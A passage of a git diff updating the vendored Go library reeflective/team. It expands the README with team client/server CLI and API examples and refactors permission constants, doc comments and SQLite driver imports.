build. +- A **Team server**: The remote, server-side counterpart of the software teamclient. Again, the + teamserver can be doing anything, from simply notifying users' teamclient connections to all the team + all the way to handling very complex and resource-hungry tasks that can only be ran on a server host. + +Throughout this library and its documentation, various words are repeatedly employed: +- _teamclient_ refers to either the client-specific toolset provided by this library + (`team/client.Client` core type) or the software making use of this teamclient code. +- _teamserver_ refers to either the server-specific toolset provided to make a program serve its + functionality remotely, or to the tools embedding this code in order to do so. +- _team tool/s_ might be used to refer to programs using either or all of the library components at + large. -## API examples (developers) +----- +## Principles, Constraints & Features + +The library rests on several principles, constraints and ideas to fulfill its intended purpose: +- The library's sole aim is to **make most programs able to collaborate together** under the + paradigm of team clients and team servers, and to do so while ensuring performance, coherence, + ease of use and security of all processes and workflows involved. This, under the _separate + viewpoints_ of tool development, enhancement and usage. +- Ensure a **working-by-default toolset**, assuming that the time spent on any tool's configuration + is inversely proportional to its usage. Emphasis on this aspect should apply equally well to team + tools' users and developers. +- Ensure the **full, secure and reliable authentication of all team clients and servers' + interactions**, by using certificate-based communication encryption and user authentication, _aka_ + "zero-trust" model. Related and equally important, ensure the various team toolset interfaces + provide for easy and secure usage of their host tools. +- **Accomodate for the needs of developers to use more specific components**, at times or at points, + while not hampering on the working-by-default aspects of the team client/server toolset. Examples + include replacing parts or all of the transport, RPC, loggers, database and filesystem + backends. +- To that effect, the library offers **different interfaces to its functionality**: an API (Go code) + provides developers a working-by-default, simple and powerful way to instruct their software how + to collaborate with peers, and a CLI, for users to operate their team tools, manage their related + team configurations with ease, with a featured command-line tree to embed anywhere. +- Ensure that team client/server functionality can be **easily integrated in automated workflows**: + this is done by offering clear code/execution paths and behaviors, for both users and developers, + and by providing commands and functions to ease deployment of said tools. + +----- +## CLI (Users) + +The following extracts assume a program binary named `teamserver`, which is simply the root command +of the server-side team code. In this case therefore, the binary program only purpose its to be a +teamserver, with no application-specific logic, (and is therefore quite useless on its own): +``` +$ teamserver +Manage the application server-side teamserver and users + +Usage: + teamserver [command] + +teamserver control + client Client-only teamserver commands (import configs, show users, etc) + close Close a listener and remove it from persistent ones if it's one + daemon Start the teamserver in daemon mode (blocking) + listen Start a teamserver listener (non-blocking) + status Show the status of the teamserver (listeners, configurations, health...) + systemd Print a systemd unit file for the application teamserver, with options + +user management + delete Remove a user from the teamserver, and revoke all its current tokens + export Export a Certificate Authority file containing the teamserver users + import Import a certificate Authority file containing teamserver users + user Create a user for this teamserver and generate its client configuration file +``` + +In this example, this program comes with a client-only binary counterpart, `teamclient`. The latter +does not include any team server-specific code, and has therefore a much smaller command set: +``` +$ teamclient +Client-only teamserver commands (import configs, show users, etc) + +Usage: + teamclient [command] + +Available Commands: + import Import a teamserver client configuration file for teamserver + users Display a table of teamserver users and their status + version Print teamserver client version +``` + +With these example binaries at hand, below are some examples of workflows. +Starting with the `teamserver` binary (which might be under access/control of a team admin): +``` bash +# 1 - Generate a user for a local teamserver, and import users from a file. +teamserver user --name Michael --host localhost +teamserver import ~/.other_app/teamserver/certs/other_app_user-ca-cert.teamserver.pem + +# 2 - Start some teamserver listeners, then start the teamserver daemon (blocking). +# Use the application-defined default port in the first call, and instruct the server +# to start the listeners automatically when used in daemon mode with --persistent. +teamserver listen --host localhost --persistent +teamserver listen --host 172.10.0.10 --port 32333 --persistent +teamserver status # Prints the saved listeners, configured loggers, databases, etc. +teamserver daemon --host localhost --port 31337 # Blocking: serves all persistent listeners and a main one at localhost:31337 + +# 3 - Export and enable a systemd service configuration for the teamserver. +teamserver systemd # Use default host, port and listener stacks. +teamserver systemd --host localhost --binpath /path/to/teamserver # Specify binary path. +teamserver systemd --user --save ~/teamserver.service # Print to file instead of stdout. + +# 4 - Import the "remote" administrator configuration for (1), and use it. +teamserver client import ~/Michael_localhost.teamclient.cfg +teamserver client version # Print the client and the server version information. +teamserver client users # Print all users registered to the teamserver and their status. + +# 5 - Quality of life +teamserver _carapace # Source detailed the completion engine for the teamserver. +``` + +Continuing the `teamclient` binary (which is available to all users' tool in the team): +```bash +# Example 1 - Import a remote teamserver configuration file given by a team administrator. +teamclient import ~/Michael_localhost.teamclient.cfg + +# Example 2 - Query the server for its information. +teamclient users +teamclient version +``` ----- +## API (Developers) + +The teamclient and teamserver APIs are designed with several things in mind as well: +- While users are free to use their tools teamclients/servers within the bounds of the provided + command-line interface tree (`teamserver` and `teamclient` commands), the developers using the + library have access to a slightly larger API, especially with regards to "selection strategies" + (grossly, the way tools' teamclients choose their remote teamservers before connecting to them). + This is equivalent of saying that tools developers should have identified 70% of all different + scenarios/valid operation mode for their tools, and program their teamclients accounting for this, + but let the users decide of the remaining 30% when using the tools teamclient/server CLI commands. +- The library makes it easy to embed a teamclient or a teamserver in existing codebases, or easy to + include it in the ones who will need it in the future. In any case, importing and using a default + teamclient/teamserver should fit into a couple of function calls at most. +- To provide a documented code base, with a concise naming and programming model which allows equally + well to use default teamclient backends or to partially/fully reimplement different layers. + +Below is the simplest, shortest example of the above's `teamserver` binary `main()` function: +```go +// Generate a teamserver, without any specific transport/RPC backend. +// Such backends are only needed when the teamserver serves remote clients. +teamserver, err := server.New("teamserver") + +// Generate a tree of server-side commands: this tree also has client-only +// commands as a subcommand "client" of the "teamserver" command root here. +serverCmds := commands.Generate(teamserver, teamserver.Self()) + +// Run the teamserver CLI. +serverCmds.Execute() +``` + +Another slightly more complex example, involving a gRPC transport/RPC backend: +```go +// The examples directory has a default teamserver listener backend. +gTeamserver := grpc.NewListener() + +// Create a new teamserver, register the gRPC backend with it. +// All gRPC teamclients will be able to connect to our teamserver. +teamserver, err := server.New("teamserver", server.WithListener(gTeamserver)) + +// Since our teamserver offers its functionality through a gRPC layer, +// our teamclients must have the corresponding client-side RPC client backend. +// Create an in-memory gRPC teamclient backend for the server to serve itself. +gTeamclient := grpc.NewClientFrom(gTeamserver) + +// Create a new teamclient, registering the gRPC backend to it. +teamclient := teamserver.Self(client.WithDialer(gTeamclient)) + +// Generate the commands for the teamserver. +serverCmds := commands.Generate(teamserver, teamclient) + +// Run any of the commands. +serverCmds.Execute() +``` + +Some additional and preliminary/example notes about the codebase: +- All errors returned by the API are always logged before return (with configured log behavior). +- Interactions with the filesystem restrained until they need to happen. +- The default database is a pure Go file-based sqlite db, which can be configured to run in memory. +- Unless absolutely needed or specified otherwise, return all critical errors instead of log + fatal/panicking (exception made of the certificate infrastructure which absolutely needs to work + for security reasons). +- Exception made of the `teamserver daemon` command related `server.ServeDaemon` function, all API + functions and interface methods are non-blocking. Mentions of this are found throughout the + code documentation when needed. +- Loggers offered by the teamclient/server cores are never nil, and will log to both stdout (above + warning level) and to default files (above info level) if no custom logger is passed to them. + If such a custom logger is given, team clients/servers won't log to stdout or their default files. + +Please see the [example](https://github.com/reeflective/team/tree/main/example) directory for all client/server entrypoint examples. +----- ## Documentation +- Go code documentation is available at the [Godoc website](https://pkg.go.dev/github.com/reeflective/team). +- Client and server documentation can be found in the [directories section](https://pkg.go.dev/github.com/reeflective/team#section-directories) of the Go documentation. +- The `example/` subdirectories also include documentation for their own code, and should provide +a good introduction to this library usage. + ----- +## Differences with the Hashicorp Go plugin system + +At first glance, different and not much related to our current topic is the equally large problem of +dynamic code loading and execution for arbitrary programs. In the spectrum of major programming +languages, various approaches have been taken to tackle the dynamic linking, loading and execution +problem, with interpreted languages offering the most common solutioning approach to this. + +The Go language (and many other compiled languages that do not encourage dynamic linking for that +matter) has to deal with the problem through other means, the first of which simply being the +adoption of different architectural designs in the first place (eg. "microservices"). Another path +has been the "plugin system" for emulating the dynamic workflows of interpreted languages, of which +the most widely used attempt being the [Hashicorp plugin +system](https://github.com/hashicorp/go-plugin), which entirely rests on an (g)RPC backend. + +Consequently, differences and similarities can be resumed as follows: +- The **Hashicorp plugins only support "remote" plugins** in that each plugin must be a different + binary. Although those plugins seem to be executed "in-memory", they are not. On the contrary, + the `reeflective/team` clients and servers can (should, and will) be used both in memory and + remotely (here remotely means as a distinct subprocess: actual network location is irrelevant). +- The purpose of the `reeflective/team` library is **not** to emulate dynamic code execution behavior. + Rather, its intent is to make programs that should or might be better used as servers to several + clients to act as such easily and securely in many different scenarios. +- The **Hashicorp plugins are by essence restrained to an API problem**, and while the `team` library + is equally (but not mandatorily or exclusively) about interactive usage of arbitrary programs. +- **The Hashicorp plugin relies mandatorily (since it's built on) a gRPC transport backend**. While + gRPC is a very sensible choice for many reasons (and is therefore used for the default example + backend in `example/transports/`), the `team` library does not force library users to use a given + transport/RPC backend, nor even to use one. Again, this would be beyond the library scope, but + what is in scope is the capacity of this library to interface with or use different transports. +- Finally, the Hashicorp plugins are not aware of any concept of users as they are considered by + the team library, although both use certificate-based connections. However, `team` promotes and + makes easy to use mutually authenticated (Mutual TLS) connections (see the default gRPC example + backend). Related to this, teamservers integrate loggers and a database to store working data. +----- ## Status The Command-Line and Application-Programming Interfaces of this library are unlikely to change @@ -99,7 +331,6 @@ to 9 minor releases (`0.1.0`, `0.2.0`, `0.3.0`, etc...), ending up in `v1.0.0`. - New features and/or PRs are welcome if they are likely to be useful to most users. ----- - ## Possible enhancements The list below is not an indication on the roadmap of this repository, but should be viewed as diff --git a/vendor/github.com/reeflective/team/client/client.go b/vendor/github.com/reeflective/team/client/client.go index 9c9e77632c..44be641d80 100644 --- a/vendor/github.com/reeflective/team/client/client.go +++ b/vendor/github.com/reeflective/team/client/client.go @@ -39,14 +39,14 @@ import ( // The client also DOES NOT include any teamserver-side code. // // This teamclient core job is to: -// - Fetch, configure and use teamserver endpoint configurations. -// - Drive the process of connecting to & disconnecting from a server. -// - Query a teamserver for its version and users information. +// - Fetch, configure and use teamserver endpoint configurations. +// - Drive the process of connecting to & disconnecting from a server. +// - Query a teamserver for its version and users information. // // Additionally, this client offers: -// - Pre-configured loggers for all client-side related events. -// - Various options to configure its backends and behaviors. -// - A builtin, abstracted and app-specific filesystem (in memory or on disk). +// - Pre-configured loggers for all client-side related events. +// - Various options to configure its backends and behaviors. +// - A builtin, abstracted and app-specific filesystem (in memory or on disk). // // Various combinations of teamclient/teamserver usage are possible. // Please see the Go module example/ directory for a list of them. @@ -79,14 +79,14 @@ type Client struct { // using this dialer, and this clientConn will be provided to these hooks. // // Examples of what this clientConn can be: -// - The clientConn is a specific, but non-idiomatic RPC client (ex: a *grpc.ClientConn). -// - A simple net.Conn over which anything can be done further. -// - Nothing: a dialer might not need to use or even create a client connection. +// - The clientConn is a specific, but non-idiomatic RPC client (ex: a *grpc.ClientConn). +// - A simple net.Conn over which anything can be done further. +// - Nothing: a dialer might not need to use or even create a client connection. type Dialer interface { // Init is used by any dialer to query the teamclient driving it about: - // - The remote teamserver address and transport credentials - // - The user registered in this remote teamserver configuration. - // - To make use of client-side loggers, filesystem and other utilities. + // - The remote teamserver address and transport credentials + // - The user registered in this remote teamserver configuration. + // - To make use of client-side loggers, filesystem and other utilities. Init(c *Client) error // Dial should connect to the endpoint available in any @@ -109,8 +109,8 @@ type Dialer interface { // - When being provided a specific dialer/client/RPC backend. // // The teamclient will only perform a few init things before being returned: -// - Setup its filesystem, either on-disk (default behavior) or in-memory. -// - Initialize loggers and the files they use, if any. +// - Setup its filesystem, either on-disk (default behavior) or in-memory. +// - Initialize loggers and the files they use, if any. // // This may return an error if the teamclient is unable to work with the provided // options (or lack thereof), which may happen if the teamclient cannot use and write diff --git a/vendor/github.com/reeflective/team/client/commands/commands.go b/vendor/github.com/reeflective/team/client/commands/commands.go index 65651876d1..21923a225f 100644 --- a/vendor/github.com/reeflective/team/client/commands/commands.go +++ b/vendor/github.com/reeflective/team/client/commands/commands.go @@ -25,12 +25,13 @@ import ( "path/filepath" "strings" - "github.com/reeflective/team/client" - "github.com/reeflective/team/internal/command" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" "github.com/spf13/pflag" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" ) // Generate returns a command tree to embed in client applications connecting @@ -139,6 +140,46 @@ func clientCommands(cli *client.Client) *cobra.Command { return teamCmd } +// ConfigsAppCompleter completes file paths to the current application configs. +func ConfigsAppCompleter(cli *client.Client, tag string) carapace.Action { + return carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { + var compErrors []carapace.Action + + configPath := cli.ConfigsDir() + + files, err := os.ReadDir(configPath) + if err != nil { + compErrors = append(compErrors, carapace.ActionMessage("failed to list user directories: %s", err)) + } + + var results []string + + for _, file := range files { + if !strings.HasSuffix(file.Name(), command.ClientConfigExt) { + continue + } + + filePath := filepath.Join(configPath, file.Name()) + + cfg, err := cli.ReadConfig(filePath) + if err != nil || cfg == nil { + continue + } + + results = append(results, filePath) + results = append(results, fmt.Sprintf("[%s] %s:%d", cfg.User, cfg.Host, cfg.Port)) + } + + configsAction := carapace.ActionValuesDescribed(results...).StyleF(getConfigStyle(command.ClientConfigExt)) + + return carapace.Batch(append( + compErrors, + configsAction.Tag(tag), + carapace.ActionFiles())..., + ).ToA() + }) +} + // ConfigsCompleter completes file paths to other teamserver application configs (clients/users CA, etc) // The filepath is the directory between .app/ and the target directory where config files of a certain // type should be found, ext is the normal/default extension for those target files, and tag is used in comps. @@ -199,46 +240,6 @@ func ConfigsCompleter(cli *client.Client, filePath, ext, tag string, noSelf bool } } -// ConfigsAppCompleter completes file paths to the current application configs. -func ConfigsAppCompleter(cli *client.Client, tag string) carapace.Action { - return carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { - var compErrors []carapace.Action - - configPath := cli.ConfigsDir() - - files, err := os.ReadDir(configPath) - if err != nil { - compErrors = append(compErrors, carapace.ActionMessage("failed to list user directories: %s", err)) - } - - var results []string - - for _, file := range files { - if !strings.HasSuffix(file.Name(), command.ClientConfigExt) { - continue - } - - filePath := filepath.Join(configPath, file.Name()) - - cfg, err := cli.ReadConfig(filePath) - if err != nil || cfg == nil { - continue - } - - results = append(results, filePath) - results = append(results, fmt.Sprintf("[%s] %s:%d", cfg.User, cfg.Host, cfg.Port)) - } - - configsAction := carapace.ActionValuesDescribed(results...).StyleF(getConfigStyle(command.ClientConfigExt)) - - return carapace.Batch(append( - compErrors, - configsAction.Tag(tag), - carapace.ActionFiles())..., - ).ToA() - }) -} - func isConfigDir(cli *client.Client, dir fs.DirEntry, noSelf bool) bool { if !strings.HasPrefix(dir.Name(), ".") { return false diff --git a/vendor/github.com/reeflective/team/client/commands/import.go b/vendor/github.com/reeflective/team/client/commands/import.go index 166a86c20a..ff470c2db5 100644 --- a/vendor/github.com/reeflective/team/client/commands/import.go +++ b/vendor/github.com/reeflective/team/client/commands/import.go @@ -22,10 +22,11 @@ import ( "encoding/json" "fmt" - "github.com/reeflective/team/client" - "github.com/reeflective/team/internal/command" "github.com/sirupsen/logrus" "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" ) func importCmd(cli *client.Client) func(cmd *cobra.Command, args []string) { diff --git a/vendor/github.com/reeflective/team/client/commands/users.go b/vendor/github.com/reeflective/team/client/commands/users.go index f3045c9794..3b7f1ca05d 100644 --- a/vendor/github.com/reeflective/team/client/commands/users.go +++ b/vendor/github.com/reeflective/team/client/commands/users.go @@ -23,10 +23,11 @@ import ( "time" "github.com/jedib0t/go-pretty/v6/table" - "github.com/reeflective/team/client" - "github.com/reeflective/team/internal/command" "github.com/sirupsen/logrus" "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" ) func usersCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go index 975c0d96c2..2920bca8a4 100644 --- a/vendor/github.com/reeflective/team/client/commands/version.go +++ b/vendor/github.com/reeflective/team/client/commands/version.go @@ -22,10 +22,11 @@ import ( "fmt" "time" - "github.com/reeflective/team/client" - "github.com/reeflective/team/internal/command" "github.com/sirupsen/logrus" "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" ) func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { diff --git a/vendor/github.com/reeflective/team/client/config.go b/vendor/github.com/reeflective/team/client/config.go index e4eafee293..2e6791e0fa 100644 --- a/vendor/github.com/reeflective/team/client/config.go +++ b/vendor/github.com/reeflective/team/client/config.go @@ -29,10 +29,10 @@ import ( "path/filepath" "sort" + "github.com/AlecAivazis/survey/v2" + "github.com/reeflective/team/internal/assets" "github.com/reeflective/team/internal/certs" "github.com/reeflective/team/internal/command" - "github.com/reeflective/team/internal/log" - "gopkg.in/AlecAivazis/survey.v1" ) const ( @@ -154,7 +154,7 @@ func (tc *Client) SaveConfig(config *Config) error { // If we are in-memory, still make the directory. if _, err := os.Stat(configDir); os.IsNotExist(err) { - if err = os.MkdirAll(configDir, log.DirPerm); err != nil { + if err = os.MkdirAll(configDir, assets.DirPerm); err != nil { return tc.errorf("%w: %w", ErrConfig, err) } } diff --git a/vendor/github.com/reeflective/team/client/directories.go b/vendor/github.com/reeflective/team/client/directories.go index 96430bf471..8833282f70 100644 --- a/vendor/github.com/reeflective/team/client/directories.go +++ b/vendor/github.com/reeflective/team/client/directories.go @@ -23,7 +23,6 @@ import ( "path/filepath" "github.com/reeflective/team/internal/assets" - "github.com/reeflective/team/internal/log" ) // HomeDir returns the root application directory (~/.app/ by default). @@ -45,7 +44,7 @@ func (tc *Client) HomeDir() string { dir = "." + tc.name } - err := tc.fs.MkdirAll(dir, log.DirPerm) + err := tc.fs.MkdirAll(dir, assets.DirPerm) if err != nil { tc.log().Errorf("cannot write to %s root dir: %s", dir, err) } @@ -59,7 +58,7 @@ func (tc *Client) HomeDir() string { func (tc *Client) TeamDir() string { dir := filepath.Join(tc.HomeDir(), tc.opts.teamDir) - err := tc.fs.MkdirAll(dir, log.DirPerm) + err := tc.fs.MkdirAll(dir, assets.DirPerm) if err != nil { tc.log().Errorf("cannot write to %s root dir: %s", dir, err) } @@ -72,7 +71,7 @@ func (tc *Client) TeamDir() string { func (tc *Client) LogsDir() string { logsDir := filepath.Join(tc.TeamDir(), assets.DirLogs) - err := tc.fs.MkdirAll(logsDir, log.DirPerm) + err := tc.fs.MkdirAll(logsDir, assets.DirPerm) if err != nil { tc.log().Errorf("cannot write to %s root dir: %s", logsDir, err) } @@ -80,14 +79,14 @@ func (tc *Client) LogsDir() string { return logsDir } -// GetConfigDir returns the path to the remote teamserver configs directory +// ConfigsDir returns the path to the remote teamserver configs directory // for this application (~/.app/teamclient/configs), creating the directory // if needed, or logging a fatal event if failing to create it. func (tc *Client) ConfigsDir() string { rootDir, _ := filepath.Abs(tc.TeamDir()) dir := filepath.Join(rootDir, assets.DirConfigs) - err := tc.fs.MkdirAll(dir, log.DirPerm) + err := tc.fs.MkdirAll(dir, assets.DirPerm) if err != nil { tc.log().Errorf("cannot write to %s configs dir: %s", dir, err) } diff --git a/vendor/github.com/reeflective/team/client/options.go b/vendor/github.com/reeflective/team/client/options.go index 864ca353c4..9a321e0d8e 100644 --- a/vendor/github.com/reeflective/team/client/options.go +++ b/vendor/github.com/reeflective/team/client/options.go @@ -112,6 +112,9 @@ func WithInMemory() Options { // WithConfig sets the client to use a given remote teamserver configuration which // to connect to, instead of using default on-disk user/application configurations. +// This function will be very useful to library users who wish to implement specific +// remote teamserver selection & connection strategies, depending on the domains and +// and use cases of these tools. func WithConfig(config *Config) Options { return func(opts *opts) { opts.config = config diff --git a/vendor/github.com/reeflective/team/internal/assets/fs.go b/vendor/github.com/reeflective/team/internal/assets/fs.go index d70442b832..8fec1db2ce 100644 --- a/vendor/github.com/reeflective/team/internal/assets/fs.go +++ b/vendor/github.com/reeflective/team/internal/assets/fs.go @@ -28,9 +28,12 @@ import ( ) const ( - FileReadPerm = 0o600 // FileReadPerm is the permission bit given to the OS when reading files. - DirPerm = 0o700 // DirPerm is the permission bit given to teamserver/client directories. - FileWritePerm = 0o644 // FileWritePerm is the permission bit given to the OS when writing files. + // FileReadPerm is the permission bit given to the OS when reading files. + FileReadPerm = 0o600 + // DirPerm is the permission bit given to teamserver/client directories. + DirPerm = 0o700 + // FileWritePerm is the permission bit given to the OS when writing files. + FileWritePerm = 0o644 // FileWriteOpenMode is used when opening log files in append/create/write-only mode. FileWriteOpenMode = os.O_APPEND | os.O_CREATE | os.O_WRONLY @@ -39,14 +42,19 @@ const ( const ( // Teamclient. - DirClient = "teamclient" // DirClient is the name of the teamclient subdirectory. - DirLogs = "logs" // DirLogs subdirectory name - DirConfigs = "configs" // DirConfigs subdirectory name + // DirClient is the name of the teamclient subdirectory. + DirClient = "teamclient" + // DirLogs subdirectory name. + DirLogs = "logs" + // DirConfigs subdirectory name. + DirConfigs = "configs" // Teamserver. - DirServer = "teamserver" // DirClient is the name of the teamserver subdirectory. - DirCerts = "certs" // DirCerts subdirectory name + // DirServer is the name of the teamserver subdirectory. + DirServer = "teamserver" + // DirCerts subdirectory name. + DirCerts = "certs" ) // FS is a filesystem abstraction for teamservers and teamclients. diff --git a/vendor/github.com/reeflective/team/internal/certs/ca.go b/vendor/github.com/reeflective/team/internal/certs/ca.go index 6550626dd0..7a0073866d 100644 --- a/vendor/github.com/reeflective/team/internal/certs/ca.go +++ b/vendor/github.com/reeflective/team/internal/certs/ca.go @@ -26,7 +26,7 @@ import ( "os" "path/filepath" - "github.com/reeflective/team/internal/log" + "github.com/reeflective/team/internal/assets" ) // ----------------------- @@ -137,12 +137,12 @@ func (c *Manager) saveCA(caType string, cert []byte, key []byte) { certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-cert.%s", c.appName, caType, certFileExt)) keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s_%s-ca-key.%s", c.appName, caType, certFileExt)) - err := c.fs.WriteFile(certFilePath, cert, log.FileReadPerm) + err := c.fs.WriteFile(certFilePath, cert, assets.FileReadPerm) if err != nil { c.log.Fatalf("Failed write certificate data to %s, %s", certFilePath, err) } - err = c.fs.WriteFile(keyFilePath, key, log.FileReadPerm) + err = c.fs.WriteFile(keyFilePath, key, assets.FileReadPerm) if err != nil { c.log.Fatalf("Failed write certificate data to %s: %s", keyFilePath, err) } diff --git a/vendor/github.com/reeflective/team/internal/certs/certs.go b/vendor/github.com/reeflective/team/internal/certs/certs.go index 5af5a01fa9..d2377ea6ba 100644 --- a/vendor/github.com/reeflective/team/internal/certs/certs.go +++ b/vendor/github.com/reeflective/team/internal/certs/certs.go @@ -38,7 +38,6 @@ import ( "github.com/reeflective/team/internal/assets" "github.com/reeflective/team/internal/db" - "github.com/reeflective/team/internal/log" "github.com/sirupsen/logrus" "gorm.io/gorm" ) @@ -90,8 +89,8 @@ func NewManager(filesystem *assets.FS, db *gorm.DB, logger *logrus.Entry, appNam return certs } -func (m *Manager) db() *gorm.DB { - return m.database.Session(&gorm.Session{ +func (c *Manager) db() *gorm.DB { + return c.database.Session(&gorm.Session{ FullSaveAssociations: true, }) } @@ -317,7 +316,7 @@ func (c *Manager) getCertDir() string { rootDir := c.appDir certDir := filepath.Join(rootDir, "certs") - err := c.fs.MkdirAll(certDir, log.DirPerm) + err := c.fs.MkdirAll(certDir, assets.DirPerm) if err != nil { c.log.Fatalf("Failed to create cert dir: %s", err) } diff --git a/vendor/github.com/reeflective/team/internal/certs/tls.go b/vendor/github.com/reeflective/team/internal/certs/tls.go index eb403be1ca..9064745ba2 100644 --- a/vendor/github.com/reeflective/team/internal/certs/tls.go +++ b/vendor/github.com/reeflective/team/internal/certs/tls.go @@ -24,10 +24,11 @@ import ( "log" "os" - teamlog "github.com/reeflective/team/internal/log" + "github.com/reeflective/team/internal/assets" ) const ( + // DefaultPort is the default team.Server listening port. // Should be 31415, but... go to hell with your endless limits. DefaultPort = 31416 ) @@ -37,7 +38,7 @@ const ( func (c *Manager) OpenTLSKeyLogFile() *os.File { keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE") if present { - keyFile, err := os.OpenFile(keyFilePath, teamlog.FileWriteOpenMode, teamlog.FileReadPerm) + keyFile, err := os.OpenFile(keyFilePath, assets.FileWriteOpenMode, assets.FileReadPerm) if err != nil { c.log.Errorf("Failed to open TLS key file %v", err) return nil diff --git a/vendor/github.com/reeflective/team/internal/command/command.go b/vendor/github.com/reeflective/team/internal/command/command.go index e763f8b0b1..9718ae7e41 100644 --- a/vendor/github.com/reeflective/team/internal/command/command.go +++ b/vendor/github.com/reeflective/team/internal/command/command.go @@ -25,18 +25,24 @@ import ( ) type ( + // CobraRunnerE is a cobra runner returning an error. CobraRunnerE func(*cobra.Command, []string) error - CobraRunner func(*cobra.Command, []string) + // CobraRunner is a cobra runner returning nothing. + CobraRunner func(*cobra.Command, []string) ) const ( - ClientConfigExt = "teamclient.cfg" // Client remote server config file extension. - ServerConfigExt = "teamserver.json" // Server backend config file extension. + // ClientConfigExt is the client remote server config file extension. + ClientConfigExt = "teamclient.cfg" + // ServerConfigExt is the server backend config file extension. + ServerConfigExt = "teamserver.json" ) const ( - TeamServerGroup = "teamserver control" // TeamServerGroup is the group of all server/client control commands. - UserManagementGroup = "user management" // UserManagementGroup is the group to manage teamserver users. + // TeamServerGroup is the group of all server/client control commands. + TeamServerGroup = "teamserver control" + // UserManagementGroup is the group to manage teamserver users. + UserManagementGroup = "user management" ) // Colors / effects. @@ -57,11 +63,11 @@ const ( DownN = "\033[%dB" Underline = "\033[4m" - // info - Display colorful information. + // Info - Display colorful information. Info = Cyan + "[*] " + Normal - // warn - warn a user. + // Warn - warn a user. Warn = Red + "[!] " + Normal - // debugl - Display debugl information. + // Debugl - Display debugl information. Debugl = Purple + "[-] " + Normal ) diff --git a/vendor/github.com/reeflective/team/internal/db/sql-cgo.go b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go index aaedce9e39..a5f279d300 100644 --- a/vendor/github.com/reeflective/team/internal/db/sql-cgo.go +++ b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go @@ -21,7 +21,11 @@ package db */ import ( - _ "github.com/mattn/go-sqlite3" + // Embedded SQLite instance. + _ "github.com/ncruces/go-sqlite3/embed" + // C-code. + _ "github.com/ncruces/go-sqlite3" + "gorm.io/driver/sqlite" "gorm.io/gorm" "gorm.io/gorm/logger" diff --git a/vendor/github.com/reeflective/team/internal/db/sql-go.go b/vendor/github.com/reeflective/team/internal/db/sql-go.go index 5b35246b4c..302aa0f9f2 100644 --- a/vendor/github.com/reeflective/team/internal/db/sql-go.go +++ b/vendor/github.com/reeflective/team/internal/db/sql-go.go @@ -21,13 +21,15 @@ package db */ import ( - gosqlite "github.com/glebarez/sqlite" + // Embed the sqlite code into our teamserver. + _ "github.com/ncruces/go-sqlite3/embed" + "github.com/ncruces/go-sqlite3/gormlite" "gorm.io/gorm" "gorm.io/gorm/logger" ) func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) { - return gorm.Open(gosqlite.Open(dsn), &gorm.Config{ + return gorm.Open(gormlite.Open(dsn), &gorm.Config{ PrepareStmt: true, Logger: log, }) diff --git a/vendor/github.com/reeflective/team/internal/db/sql-wasm.go b/vendor/github.com/reeflective/team/internal/db/sql-wasm.go index 558d642d13..213b48d9fa 100644 --- a/vendor/github.com/reeflective/team/internal/db/sql-wasm.go +++ b/vendor/github.com/reeflective/team/internal/db/sql-wasm.go @@ -21,8 +21,11 @@ package db */ import ( + // Core code. _ "github.com/ncruces/go-sqlite3" + // Driver code. _ "github.com/ncruces/go-sqlite3/driver" + // Embedded SQLite instance. _ "github.com/ncruces/go-sqlite3/embed" "gorm.io/gorm" "gorm.io/gorm/logger" diff --git a/vendor/github.com/reeflective/team/internal/db/sql.go b/vendor/github.com/reeflective/team/internal/db/sql.go index 713862fb04..b8f86d3072 100644 --- a/vendor/github.com/reeflective/team/internal/db/sql.go +++ b/vendor/github.com/reeflective/team/internal/db/sql.go @@ -32,6 +32,8 @@ import ( ) const ( + // SQLiteInMemoryHost is the default string used by SQLite + // as a host when ran in memory (string value is ":memory:"). SQLiteInMemoryHost = ":memory:" ) @@ -54,10 +56,11 @@ func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) { // Logging middleware (queries) dbLog := log.NewDatabase(dbLogger, dbConfig.LogLevel) + logDbDsn := fmt.Sprintf("%s (%s:%d)", dbConfig.Database, dbConfig.Host, dbConfig.Port) switch dbConfig.Dialect { case Sqlite: - dbLogger.Infof("Connecting to SQLite database %s", dsn) + dbLogger.Infof("Connecting to SQLite database %s", logDbDsn) dbClient, err = sqliteClient(dsn, dbLog) if err != nil { @@ -65,7 +68,7 @@ func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) { } case Postgres: - dbLogger.Infof("Connecting to PostgreSQL database %s", dsn) + dbLogger.Infof("Connecting to PostgreSQL database %s", logDbDsn) dbClient, err = postgresClient(dsn, dbLog) if err != nil { @@ -73,7 +76,7 @@ func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) { } case MySQL: - dbLogger.Infof("Connecting to MySQL database %s", dsn) + dbLogger.Infof("Connecting to MySQL database %s", logDbDsn) dbClient, err = mySQLClient(dsn, dbLog) if err != nil { @@ -83,7 +86,7 @@ func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) { return nil, fmt.Errorf("%w: '%s'", ErrUnsupportedDialect, dbConfig.Dialect) } - err = dbClient.AutoMigrate(Schema()) + err = dbClient.AutoMigrate(Schema()...) if err != nil { dbLogger.Error(err) } diff --git a/vendor/github.com/reeflective/team/internal/log/cli.go b/vendor/github.com/reeflective/team/internal/log/cli.go index 98aaf6a633..5c6963fe4d 100644 --- a/vendor/github.com/reeflective/team/internal/log/cli.go +++ b/vendor/github.com/reeflective/team/internal/log/cli.go @@ -30,22 +30,24 @@ import ( // Text effects. const ( - 